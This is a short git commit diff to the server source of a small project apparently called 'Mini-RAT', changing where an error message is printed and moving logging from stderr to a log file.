summaryrefslogtreecommitdiff
path: root/server/src/mini-rat.c
diff options
context:
space:
mode:
Diffstat (limited to 'server/src/mini-rat.c')
-rw-r--r--server/src/mini-rat.c8
1 files changed, 5 insertions, 3 deletions
diff --git a/server/src/mini-rat.c b/server/src/mini-rat.c
index 6112d71..5579201 100644
--- a/server/src/mini-rat.c
+++ b/server/src/mini-rat.c
@@ -146,7 +146,7 @@ void parse_cmd(int sock, char *line) {
} else if (strlen(argv[0]) == 0) {
// Do nothing
} else {
- printf("Invalid command\n");
+ dprintf(sock, "Invalid command\n");
}
free(argv);
return;
@@ -174,8 +174,9 @@ int main(int argc, char* argv[]) {
sigaction(SIGTERM, &action, NULL);
sigaction(SIGHUP, &action, NULL);
- //FILE *logfile = fopen("log.txt", "w");
- init_logging(stderr);
+ FILE *logfile = fopen("log.txt", "w");
+ init_logging(logfile);
+
uint16_t port = 1122;
pthread_t listen_thread;
pthread_create(&listen_thread, NULL, listener, (void*)&port);
@@ -191,5 +192,6 @@ int main(int argc, char* argv[]) {
log_msg(LOG_INFO, "Mini-RAT shutting down\n");
pthread_cancel(listen_thread);
pthread_cancel(clisten_thread);
+ close_logfile();
return 0;
}